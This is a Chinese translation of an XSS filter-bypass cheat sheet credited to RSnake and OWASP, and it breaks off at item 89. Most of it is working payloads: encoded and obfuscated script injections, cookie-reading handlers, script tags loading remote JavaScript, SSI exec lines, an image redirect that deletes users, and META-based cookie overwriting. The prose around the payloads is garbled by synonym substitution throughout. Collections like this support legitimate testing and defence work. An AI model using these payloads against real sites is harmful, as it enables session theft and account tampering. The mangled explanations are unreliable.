这篇文章的紧张目的是给专业安全测试职员供应一份跨站脚本漏洞检测指南。
文章的初始内容是由RSnake供应给 OWASP,内容基于他的XSS备忘录,现在此XSS备忘录将由OWASP掩护和完善它。

OWASP 的第一个防御备忘录项目:XSS (Cross Site Scripting)Prevention Cheat Sheet 灵感来源于 RSnake 的 XSS Cheat Sheet,以是我们对他给予我们的启示表示感谢。
我们想要去创建短小大略的参考给开拓者以便帮助他们预防 XSS漏洞,而不是大略的见告他们须要利用繁芜的方法构建运用来预防各种千奇百怪的攻击,这也是OWASP 备忘录系列出身的缘故原由。

XSS绕过过滤详细方法如下:

phpxss过滤XSS进击绕过过滤办法年夜全约100种 Java

1、XSS定位器

在大多数存在漏洞且不须要特定XSS攻击代码的地方插入下列代码会弹出包含“XSS”字样的对话框。
利用URL编码器来对全体代码进行编码。

小技巧:如果你韶光很紧想要快速检讨页面,常日只要插入“<任意文本>”标签,然后不雅观察页面输出是否明显改变了就可以判断是否存在漏洞:

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>2、XSS定位器(短)

如果你没有足够的空间并且知道页面上没有存在漏洞的JavaScript,这个字符串是一个不错的简洁XSS注入检讨。
注入后查看页面源代码并且探求是否存在<XSS 或<XSS字样来确认是否存在漏洞?

”;!–”<XSS>=&{()}3、无过滤绕过

这是一个常规的XSS注入代码,虽然常日它会被防御,但是建议首先去测试一下。
(引号在任何当代浏览器中都不须要,以是这里省略了它):

<SCRIPT SRC=http://127.0.0.1/xss.js></SCRIPT>4、利用多措辞进行过滤绕过

‘”>><marquee><img src=x onerror=confirm(1)></marquee>”></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script><script>alert(document.cookie)</script>”><img/id=”confirm(1)”/alt=”/”src=”/”onerror=eval(id)>’”><img src=”https://www.fujieace.com/wp-content/images/2015/07/hacked-compressor.jpg“>5、通过JavaScript命令实现的图片XSS

图片注入利用JavaScript命令实现(IE7.0 不支持在图片高下文中利用JavaScript 命令,但是可以在其他高下文触发
下面的例子展示了一种其他标签依旧通用的事理):

<IMG SRC=”javascript:alert(‘XSS’);”>6、无分号无引号

<IMG SRC=javascript:alert(‘XSS’)>7、不区分大小写的XSS攻击向量

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>8、HTML实体

必须有分号才可生效

<IMG SRC=javascript:alert("XSS")>9、重音符稠浊

如果你的JavaScript代码中须要同时利用单引号和双引号,那么可以利用重音符(`)来包含JavaScript 代码。
这常日会有很大帮助,由于大部分跨站脚本过滤器都没有过滤这个字符:

<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>10.、畸形的A标签

跳过HREF标签找到XSS的重点…由DavidCross提交~已在Chrome上验证:

<a onmouseover=”alert(document.cookie)”>xxs link</a>

此外Chrome常常帮你补全确实的引号…如果在这方面碰着问题就直接省略引号,Chrome会帮你补全在URL或脚本中短缺的引号。

<a onmouseover=alert(document.cookie)>xxs link</a>11、畸形的IMG标签

最初由Begeek创造(短小博识适用于所有浏览器),这个XSS攻击向量利用了不严格的渲染引擎来布局含有IMG标签并被引号包含的XSS攻击向量。
我预测这种解析原来是为了兼容不规范的编码。
这会让它更加难以精确的解析HTML标签:

<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>12、fromCharCode函数

如果不许可任何形式的引号,你可以通过实行JavaScript里的fromCharCode函数来创建任何你须要的XSS攻击向量:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>13、利用默认SRC属性绕过SRC域名过滤器

这种方法可以绕过大多数SRC域名过滤器。
将JavaScript代码插入事宜方法同样适用于注入利用elements的任何HTML标签,例如Form,Iframe, Input, Embed等等。
它同样许可将事宜更换为任何标签中可用的事宜类型,例如onblur,onclick。
下面会给出许多不同的可注入事宜列表。

<IMG SRC=# onmouseover=”alert(‘xxs’)”>14、利用默认为空的SRC属性

<IMG SRC= onmouseover=”alert(‘xxs’)”>15、利用不含SRC属性

<IMG onmouseover=”alert(‘xxs’)”>16、通过error事宜触发alert

<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img>17、对IMG标签中onerror属性进行编码

<img src=x onerror=”javascript:alert('XSS')″>18、十进制HTML字符实体编码

所有在IMG标签里直策应用javascript:形式的XSS示例无法在Firefox或Netscape8.1以上浏览器(利用Gecko渲染引擎)运行。

<IMG SRC=javascript:alert('XSS')>19、不带分号的十进制HTML字符实体编码

这对付绕过对“&#XX;”形式的XSS过滤非常有用,由于大多数人不知道最长可利用7位数字。
这同样对例如$tmp_string =~s/.&#(\d+);./$1/;形式的过滤器有效,这种过滤器是缺点的认为HTML字符实体编码须要用分号结尾(无意中创造的):

<IMG SRC=javascript:alert('XSS')>20、不带分号的十六进制HTML字符实体编码

这是有效绕过例如$tmp_string =~ s/.&#(\d+);./$1/;过滤器的方法。
这种过滤器缺点的认为#号后会随着数字(十六进制HTML字符实体编码并非如此)

<IMG SRC=javascript:alert('XSS')>21、内嵌TAB

利用TAB来分开XSS攻击代码:

<IMG SRC=”jav ascript:alert(‘XSS’);”>22、内嵌编码后TAB

利用编码后的TAB来分开XSS攻击代码:

<IMG SRC=”javascript:alert(‘XSS’);”>123、内嵌换行分隔XSS攻击代码

一些网站声称09到13(十进制)的HTML实体字符都可以实现这种攻击,这是禁绝确的。
只有09(TAB),10(换行)和13(回车)有效。
查看ASCII字符表获取更多细节。
下面几个XSS示例先容了这些向量。

<IMG SRC=”javascript:alert(‘XSS’);”>24、内嵌回车分隔XSS攻击代码

把稳:上面利用了比实际须要长的字符串是由于0可以忽略。
常常可以碰着过滤器解码十六进制和十进制编码时认为只有2到3位字符。
实际规则是1至7位字符:

<IMG SRC=”javascript:alert(‘XSS’);”>25、利用空字符分隔JavaScript指令

空字符同样可以作为XSS攻击向量,但和上面有所差异,你须要利用一些例如Burp工具或在URL字符串里利用%00,亦或你想利用VIM编写自己的注入工具(V@会天生空字符),[email protected]�Opera浏览器(例如Windows版的7.11)还会受另一个字符173(软连字符)的影响。
但是空字符%00更加有用并且能帮助绕过真实天下里的过滤器,例如这个例子里的变形:

perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out26、利用IMG标签中JavaScript指令前的空格和元字符

如果过滤器不打算”javascript:”前的空格,这是精确的,由于它们不会被解析,但这点非常有用。
由于这会造成缺点的假设,便是引号和”javascript:”字样间不能有任何字符。
实际情形是你可以插入任何十进制的1至32号字符:

<IMG SRC=”  javascript:alert(‘XSS’);”>27、利用非字母非数字字符

FireFox的HTML解析器认为HTML关键词后不能有非字母非数字字符,并且认为这是一个空缺或在HTML标签后的无效符号。
但问题是有的XSS过滤器认为它们要查找的标记会被空缺字符分隔。
例如”<SCRIPT\s” != “<SCRIPT/XSS\s”:

<SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT>

基于上面的事理,可以利用模糊测试进行扩展。
Gecko渲染引擎许可任何字符包括字母,数字或分外字符(例如引号,尖括号等)存在于事宜名称和等号之间,这会使得更加随意马虎绕过跨站脚本过滤。
把稳这同样适用于下面看到的重音符:

<BODY onload!#$%&()~+-_.,:;?@[/|\]^`=alert(“XSS”)>

Yair Amit让我把稳到了IE和Gecko渲染引擎有一点不同行为,在于是否在HTML标签和参数之间许可一个不含空格的斜杠。
这会非常有用如果系统不许可空格的时候。

<SCRIPT/SRC=”http://127.0.0.1/xss.js“></SCRIPT>28、额外的尖括号

由Franz Sedlmaier提交,这个XSS攻击向量可以绕过某些检测引擎,比如先查找第一个匹配的尖括号,然后比较里面的标签内容,而不是利用更有效的算法,例如Boyer-Moore算法便是查找全体字符串中的尖括号和相应标签(当然是通过模糊匹配)。
双斜杠注释了额外的尖括号来防止涌现JavaScript缺点:

<<SCRIPT>alert(“XSS”);//<</SCRIPT>29、未闭合的script标签

在Firefox和Netscape 8.1的Gecko渲染引擎下你不是必须布局类似“>”的跨站脚本攻击向量。
Firefox假定闭合HTML标签是安全的并且会为你添加闭合标记。
多么谅解!
不像不影响Firefox的下一个问题,这不须要在后面有额外的HTML标签。
如果须要可以添加引号,但常日是没有必要的,须要把稳的是,我并不知道这样注入后HTML会什么样子结束:

<SCRIPT SRC=http://127.0.0.1/xss.js?< B >30、script标签中的协议解析

这个特定的变体是由Łukasz Pilorz提交的并且基于Ozh供应的协议解析绕过。
这个跨站脚本示例在IE和Netscape的IE渲染模式下有效,如果添加了标记在Opera中也可以。
这在输入空间有限的情形下是非常有用的,你所利用的域名越短越好。
”.j”是可用的,在SCRIPT标签中不须要考虑编码类型由于浏览器会自动识别。

<SCRIPT SRC=//xss.rocks/.j>31、只含左尖括号的HTML/JavaScript XSS向量

IE渲染引擎不像Firefox,不会向页面中添加额外数据。
但它许可在IMG标签中直策应用javascript。
这对布局攻击向量是很有用的,由于不须要闭合尖括号。
这使得有任何HTML标签都可以进行跨站脚本攻击向量注入。
乃至可以不该用”>”闭合标签。
把稳:这会让HTML页面变得混乱,详细程度取决于下面的HTML标签。
这可以绕过以下NIDS正则:/((%3D)|(=))[\n]((%3C)|<)[\n]+((%3E)|>)/由于不须要”>”闭合。
其余在实际对抗XSS过滤器的时候,利用一个半开放的<IFRAME标签替代<IMG标签也是非常有效的。

<IMG SRC=”javascript:alert(‘XSS’)”32、多个左尖括号

利用一个左尖括号替代右尖括号作为标签结尾的攻击向量会在不同浏览器的Gecko渲染引擎下有不同表现。
没有左尖括号时,在Firefox中生效,而在Netscape中无效。

<iframe src=http://127.0.0.1/scriptlet.html <33、JavaScript双重转义

当运用将一些用户输入输出到例如:,这时双引号不会被转义并且可以触发跨站脚本攻击向量。
XSS定位器就用了这种方法:

\”;alert(‘XSS’);//

另一种情形是,如果内嵌数据进行了精确的JSON或JavaScript转义,但没有HTML编码,那可以结束原有脚本块并开始你自己的:

</script><script>alert(‘XSS’);</script>34、闭合title标签

这是一个大略的闭合

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>35、INPUT image

<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>36、BODY image

<BODY BACKGROUND=”javascript:alert(‘XSS’)”>37、IMG Dynsrc

<IMG DYNSRC=”javascript:alert(‘XSS’)”>38、IMG lowsrc

<IMG LOWSRC=”javascript:alert(‘XSS’)”>39、List-style-image

处理嵌入的图片列表是很麻烦的问题。
由于JavaScript指令的缘故原由只能在IE渲染引擎下有效。
不是一个特殊有用的跨站脚本攻击向量:

<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS</br>40、图片中引用VBscript

<IMG SRC=’vbscript:msgbox(“XSS”)’>41、Livescript (仅限旧版本Netscape)

<IMG SRC=”livescript:[code]">42、SVG工具标签

<svg/onload=alert('XSS')>43、ECMAScript 6

Set.constructor`alert\x28document.domain\x29```44、BODY标签

这个方法不须要利用任何例如"javascript:“或”<SCRIPT…"语句来完成XSS攻击。
Dan Crowley特殊提醒你可以在等号前加入一个空格(“οnlοad=” != “onload =”):

<BODY ONLOAD=alert('XSS')>45、事宜处理程序

在XSS攻击中可利用以下事宜(在脱稿的时候这是网上最全的列表了)。
感谢ReneLedosquet的更新。

1. FSCommand() (攻击者当须要在嵌入的Flash工具中实行时可以利用此事宜)2. onAbort() (当用户中止加载图片时)3. onActivate() (当工具激活时)4. onAfterPrint() (用户打印或进行打印预览后触发)5. onAfterUpdate() (从数据源工具更新数据后由数据工具触发)6. onBeforeActivate() (在工具设置为激活元素前触发)7. onBeforeCopy() (攻击者在选中部分拷贝到剪贴板前实行攻击代码-攻击者可以通过实行execCommand("Copy")函数触发)8. onBeforeCut() (攻击者在选中部分剪切到剪贴板前实行攻击代码)9. onBeforeDeactivate() (在当前工具的激活元素变革前触发)10. onBeforeEditFocus() (在一个包含可编辑元素的工具进入激活状态时或一个可编辑的工具当选中时触发)11. onBeforePaste() (在用户被勾引进行粘贴前或利用execCommand("Paste")函数触发)12. onBeforePrint() (用户须要被勾引进行打印或攻击者可以利用print()或execCommand("Print")函数).13. onBeforeUnload() (用户须要被勾引关闭浏览器-除非从父窗口实行,否则攻击者不能关闭当前窗口)14. onBeforeUpdate() (从数据源工具更新数据前由数据工具触发)15. onBegin() (当元素周期开始时由onbegin 事宜立即触发)16. onBlur() (另一个窗口弹出当前窗口失落去焦点时触发)17. onBounce() (当marquee工具的behavior属性设置为“alternate”且字幕的滚动内容到达窗口一边时触发)18. onCellChange() (当数据供应者的数据变革时触发)19. onChange() (select,text, 或TEXTAREA字段失落去焦点并且值发生变革时触发)20. onClick() (表单中点击触发)21. onContextMenu() (用户须要在攻击区域点击右键)22. onControlSelect() (当用户在一个工具上创建控件选中区时触发)23. onCopy() (用户须要复制一些东西或利用execCommand("Copy")命令时触发)24. onCut() (用户须要剪切一些东西或利用execCommand("Cut")命令时触发)25. onDataAvailable() (用户须要修正元素中的数据,或者由攻击者供应的类似功能)26. onDataSetChanged() (当数据源工具变更导致数据集发生变更时触发)27. onDataSetComplete() (数据源工具中所有数据可用时触发)28. onDblClick() (用户双击一个表单元素或链接)29. onDeactivate() (在激活元素从当前工具转换到父文档中的另一个工具时触发)30. onDrag() (在元素正在拖动时触发)31. onDragEnd() (当用户完成元素的拖动时触发)32. onDragLeave() (用户在拖动元素离开放置目标时触发)33. onDragEnter() (用户将工具拖拽到合法拖曳目标)34. onDragOver() (用户将工具拖拽划过合法拖曳目标)35. onDragDrop() (用户将一个工具(例如文件)拖拽到浏览器窗口)36. onDragStart() (当用户开始拖动元素时触发)37. onDrop() (当拖动元素放置在目标区域时触发)38. onEnded() (在视频/音频(audio/video)播放结束时触发)39. onError() (在加载文档或图像时发生缺点)40. onErrorUpdate() (当从数据源工具更新干系数据碰着缺点时在数据绑定工具上触发)41. onFilterChange() (当滤镜完成状态变更时触发)42. onFinish() (当marquee完成滚动时攻击者可以实行攻击)43. onFocus() (当窗口得到焦点时攻击者可以实行攻击代码)44. onFocusIn() (当元素将要被设置为焦点之前触发)45. onFocusOut() (攻击者可以在窗口失落去焦点时触发攻击代码)46. onHashChange() (当锚部分发生变革时触发攻击代码)47. onHelp() (攻击者可以在用户在当前窗体激活时按下F1触发攻击代码)48. onInput() (在 <input> 或 <textarea> 元素的值发生改变时触发)49. onKeyDown() (用户按下一个键的时候触发)50. onKeyPress() (在键盘按键被按下并开释一个键时触发)51. onKeyUp() (用户开释一个键时触发)52. onLayoutComplete() (用户进行完打印或打印预览时触发)53. onLoad() (攻击者在窗口加载后触发攻击代码)54. onLoseCapture() (可以由releaseCapture()方法触发)55. onMediaComplete() (当一个流媒体文件利用时,这个事宜可以在文件播放前触发)56. onMediaError() (当用户在浏览器中打开一个包含媒体文件的页面,涌现问题时触发事宜)57. onMessage() (当页面收到一个信息时触发事宜)58. onMouseDown() (攻击者须要让用户点击一个图片触发事宜)59. onMouseEnter() (光标移动到一个工具或区域时触发)60. onMouseLeave() (攻击者须要让用户光标移动到一个图像或表格然后移开来触发事宜)61. onMouseMove() (攻击者须要让用户将光标移到一个图片或表格)62. onMouseOut() (攻击者须要让用户光标移动到一个图像或表格然后移开来触发事宜)63. onMouseOver() (光标移动到一个工具或区域)64. onMouseUp() (攻击者须要让用户点击一个图片)65. onMouseWheel() (攻击者须要让用户利用他们的鼠标滚轮)66. onMove() (用户或攻击者移动页面时触发)67. onMoveEnd() (用户或攻击者移动页面结束时触发)68. onMoveStart() (用户或攻击者开始移动页面时触发)69. onOffline() (当浏览器从在线模式切换到离线模式时触发)70. onOnline() (当浏览器从离线模式切换到在线模式时触发)71. onOutOfSync() (当元素与当前韶光线失落去同步时触发)72. onPaste() (用户进行粘贴时或攻击者可以利用execCommand("Paste")函数时触发)73. onPause() (在视频或音频停息时触发)74. onPopState() (在窗口的浏览历史(history 工具)发生改变时触发)75. onProgress() (攻击者可以在一个FLASH加载时触发事宜)76. onPropertyChange() (用户或攻击者须要改变元素属性时触发)77. onReadyStateChange() (每次 readyState 属性变革时被自动调用)78. onRedo() (用户返回上一页面时触发)79. onRepeat() (事宜在播放完重复播放时触发)80. onReset() (用户或攻击者重置表单时触发)81. onResize() (用户改变窗口大小时,攻击者可以自动以这种方法触发:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)82. onResizeEnd() (用户完成改变窗体大小时触发)83. onResizeStart() (用户开始改变窗体大小时触发)84. onResume() (当元素连续播放时触发)85. onReverse() (当元素回放时触发)86. onRowsEnter() (用户或攻击者须要改变数据源中的一行)87. onRowExit() (用户或攻击者改变数据源中的一行退却撤退出时触发)88. onRowDelete() (用户或攻击者须要删除数据源中的一行)89. onRowInserted() (user or attacker would needto insert a row in a data source)90. onScroll() (用户须要滚动或攻击者利用scrollBy()函数)91. onSeek() (当用户在元素上实行查找操作时触发)92. onSelect() (用户须要选择一些文本-攻击者可以以此办法触发: window.document.execCommand("SelectAll");)93. onSelectionChange() (当用户选择文本变革时触发-攻击者可以以此办法触发: window.document.execCommand("SelectAll");)94. onSelectStart() (当用户开始选择文本时触发-攻击者可以以此办法触发: window.document.execCommand("SelectAll");)95. onStart() (在marquee 工具开始循环时触发)96. onStop() (当用户按下停滞按钮或离开页面时触发)97. onStorage() (当Web Storage更新时触发)98. onSyncRestored() (当元素与它的韶光线规复同步时触发)99. onSubmit() (须要用户或攻击者提交表单)100.onTimeError() (用户或攻击者设置韶光属性涌现缺点时触发)101.onTrackChange() (用户或攻击者改变播放列表内歌曲时触发)102.onUndo() (用户返回上一浏览记录页面时触发)103.onUnload() (用户点击任意链接或按下退却撤退按钮或攻击者逼迫进行点击时触发)104.onURLFlip() (当一个高等流媒体格式(ASF)文件,由一个HTML+TIME(基于韶光交互的多媒体扩展)媒体标签播放时,可触发在ASF文件中内嵌的攻击脚本)105.seekSegmentTime() (这是一个方法可以定位元素某个韶光段内中的特定的点,并可以从该点播放。
这个段落包含了一个重复的韶光线,并包括利用AUTOREVERSE属性进行反向播放。
46、BGSOUND

<BGSOUND SRC="javascript:alert('XSS');">47、& JavaScript包含

<BR SIZE="&{alert('XSS')}">48、样式表

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">49、远程样式表

(利用像远程样式表一样大略的形式,你可以将XSS攻击代码包含在可利用内置表达式进行重定义的样式参数里。
)这只在IE和利用IE渲染模式Netscape8.1+。
把稳这里没有任何元素在页面中表明这页面包含了JavaScript。
提示:这些远程样式表都利用了body标签,以是必须在页面中有除了攻击向量以外的内容存在时才会生效, 也便是如果是空缺页的话你必须在页面添加一个字母来让攻击代码生效:

<LINK REL="stylesheet" HREF="http://127.0.0.1/xss.css">50、远程样式表2

这个和上面一样有效,不过利用了标签。
在进行跨站脚本攻击时,如不能同时利用等号或斜杠,这是非常有用的,这种情形在现实天下里不止一次发生了:

<STYLE>@import'http://127.0.0.1/xss.css';</STYLE>51、远程样式表3

这种办法仅在Opera 8.0(9.x不可以)中有效,但方法比较有创意. 根据RFC2616,设置一个Link头部不是HTTP1.1规范的一部分,但一些浏览器仍旧许可这样做 (例如Firefox和 Opera). 这里的技巧是设置一个头部(和普通头部并没有什么差异,只是设置Link: http://xss.rocks/xss.css; REL=stylesheet)并且在远程样式表中包含利用了JavaScript的跨站脚本攻击向量,这一点是FireFox不支持的:

<META HTTP-EQUIV="Link" Content="<http://127.0.0.1/xss.css>; REL=stylesheet">52、远程样式表4

这仅能在Gecko渲染引擎下有效并且须要在父页面绑定一个XML文件。
具有讽刺意味的是 Netscape认为Gecko更安全 ,以是对绝大多数网站来说会受到漏洞影响:

<STYLE>BODY{-moz-binding:url("https://127.0.0.1/xssmoz.xml#xss")}</STYLE>53、含有分隔JavaScript的STYLE标签

这个XSS会在IE中造成无限循环:

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>54、STYLE属性中利用注释分隔表达式

由Roman Ivanov创建

<IMG STYLE="xss:expr/XSS/ession(alert('XSS'))">55、含表达式的IMG STYLE

这是一个将上面XSS攻击向量稠浊的方法,但确实展示了STYLE标签可以用相称繁芜的办法分隔,和上面一样,也会让IE进入去世循环:

exp/<A STYLE='no\xss:noxss("//");xss:ex/XSS////pression(alert("XSS"))'>56、STYLE标签(仅旧版本Netscape可用)

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>57、利用背景图像的STYLE标签

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>58、利用背景的STYLE标签

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>59、含STYLE属性的HTML任意标签

IE6.0和IE渲染引擎模式下的Netscape 8.1+并不关心你建立的HTML标签是否存在,只假如由尖括号和字母开始的即可:

<XSS STYLE="behavior: url(xss.htc);">60、本地htc文件

这和上面两个跨站脚本攻击向量有些不同,由于它利用了一个必须和XSS攻击向量在相同做事器上的.htc文件。
这个示例文件通过下载JavaScript并将其作为style属性的一部分运行来进行攻击:

<XSS STYLE="behavior: url(xss.htc);">61、US-ASCII编码

US-ASCII编码(由Kurt Huwig创造)。
它利用了畸形的7位ASCII编码来代替8位。
这个XSS攻击向量可以绕过大多数内容过滤器,但是只在主机利用US-ASCII编码传输数据时有效,或者可以自己设置编码格式。
相对绕过做事器端过滤,这在绕过WAF跨站脚本过滤时候更有效。
Apache Tomcat是目前唯一已知利用US-ASCII编码传输的:

¼script¾alert(¢XSS¢)¼/script¾62、META

关于meta刷新比较奇怪的是它并不会在头部中发送一个referrer-以是它常日用于不须要referrer的时候:

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">63、利用数据的META

URL scheme指令。
这个非常有用由于它并不包含任何可见的SCRIPT单词或JavaScript指令,由于它利用了base64编码.请查看RFC 2397探求更多细节。
你同样可以利用具有Base64编码功能的XSS工具来编码HTML或JavaScript:

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">64、含有额外URL参数的META

如果目标站点考试测验检讨URL是否包含"http://",你可以用以下技能规避它(由Moritz Naumann提交):

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">65、IFRAME

如果许可Iframe那就会有很多XSS问题:

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>66、基于事宜IFRAME

Iframes和大多数其他元素可以利用下列事宜(由David Cross提交):

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>67、FRAME

Frames和iframe一样有很多XSS问题:

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>68、TABLE

<TABLE BACKGROUND="javascript:alert('XSS')">69、TD

和上面一样,TD也可以通过BACKGROUND来包含JavaScriptXSS攻击向量:

<TABLE><TD BACKGROUND="javascript:alert('XSS')">70、DIV背景图像

<DIV STYLE="background-image: url(javascript:alert('XSS'))">71、含有Unicode XSS利用代码的DIV背景图像

这进行了一些修正来稠浊URL参数。
原始的漏洞是由RenaudLifchitz在Hotmail创造的:

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">72、含有额外字符的DIV背景图像

Rnaske进行了一个快速的XSS模糊测试来创造IE和安全模式下的Netscape 8.1中任何可以在左括号和JavaScript指令间加入的额外字符。
这都是十进制的但是你也可以利用十六进制来添补(以下字符可用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

<DIV STYLE="background-image: url(javascript:alert('XSS'))">73、DIV表达式

一个非常有效的对抗现实中的跨站脚本过滤器的变体是在冒号和"expression"之间添加一个换行:

<DIV STYLE="width: expression(alert('XSS'));">74、html 条件选择注释块

只能在IE5.0及更高版本和IE渲染引擎模式下的Netscape 8.1生效。
一些网站认为在注释中的任何内容都是安全的并且认为没有必要移除,这就许可我们添加跨站脚本攻击向量。
系统会在一些内容周围考试测验添加注释标签以便安全的渲染它们。
如我们所见,这有时并不起浸染:

<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->75、BASE标签

在IE和安全模式下的Netscape 8.1有效。
你须要利用//来注释下个字符,这样你就不会造成JavaScript缺点并且你的XSS标签可以被渲染。
同样,这须要当前网站利用相对路径例如"images/image.jpg"来放置图像而不是绝对路径。
如果路径以一个斜杠开头例如"/images/image.jpg"你可以从攻击向量中移除一个斜杠(只有在两个斜杠时注释才会生效):

<BASE HREF="javascript:alert('XSS');//">76、OBJECT标签

如果许可利用OBJECT,你可以插入一个病毒攻击载荷来传染用户,类似于APPLET标签。
链接文件实际是含有你XSS攻击代码的HTML文件:

<OBJECT TYPE="text/x-scriptlet" DATA="http://127.0.0.1/scriptlet.html"></OBJECT>77、利用EMBED标签加载含有XSS的FLASH文件

如果你添加了属性allowScriptAccess="never"以及allownetworking="internal"则可以减小风险(感谢Jonathan Vanasco供应的信息):

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>78、利用EMBED SVG包含攻击向量

该示例只在FireFox下有效,但是比上面的攻击向量在FireFox下好,由于不须要用户安装或启用FLASH。
感谢nEUrOO供应:

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>79、在FLASH中利用ActionScript稠浊XSS攻击向量

a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);80、CDATA稠浊的XML数据岛

这个XSS攻击只在IE和利用IE渲染模式的Netscape 8.1下有效-攻击向量由Sec Consult在审计Yahoo时创造

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>81、利用XML数据岛天生含内嵌JavaScript确当地XML文件

这和上面是一样的但是将来源更换为了包含跨站脚本攻击向量确当地XML文件(必须在同一做事器上):

<XML SRC="xsstest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>82、XML中利用HTML+TIME

这是Grey Magic攻击Hotmail和Yahoo的方法。
这只在IE和IE渲染模式下的Netscape8.1有效并且记得须要在HTML域的BODY标签中间才有效:

<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></BODY></HTML>83、利用一些字符绕过".js"过滤

你可以将你的JavaScript文件重命名为图像来作为XSS攻击向量:

<SCRIPT SRC="http://127.0.0.1/xss.jpg"></SCRIPT>84、SSI(做事端脚本包含)

这须要在做事器端许可SSI来利用XSS攻击向量。
彷佛不用提示这点,由于如果你可以在做事器端实行指令那一定是有更严重的问题存在:

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://127.0.0.1/xss.js></SCRIPT>'"-->85、PHP

须要做事器端安装了PHP来利用XSS攻击向量。
同样,如果你可以远程运行任意脚本,那会有更加严重的问题:

<? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>86、嵌入命令的IMAGE

当页面受密码保护并且这个密码保护同样适用于相同域的不同页面时有效,这可以用来进行删除用户,增加用户(如果访问页面的是管理员的话),将密码发送到任意地方等等…这是一个较少利用当时更有代价的XSS攻击向量:

<IMG SRC="https://www.fujieace.com/somecommand.php?somevariables=maliciouscode">87、嵌入命令的IMAGE II

这更加恐怖由于这不包含任何可疑标识,除了它不在你自己的域名上。
这个攻击向量利用一个302或304(其他的也有效)来重定向图片到指定命令。
以是一个普通的对付访问图片链接的用户来说也有可能是一个攻击向量。
下面是利用.htaccess(Apache)配置文件来实现攻击向量。
(感谢Timo供应这部分。
):

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser88、Cookie修改

只管公认不太实用,但是还是可以创造一些许可利用META标签的情形下可用它来覆写cookie。
其余的例子是当用户访问网站页面时,一些网站读取并显示存储在cookie中的用户名,而不是数据库中。
当这两种场景结合时,你可以修正受害者的cookie以便将JavaScript注入到其页面中(你可以利用这个让用户登出或改变他们的用户状态,乃至可以让他们以你的账户登录):

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">89、UTF-7编码

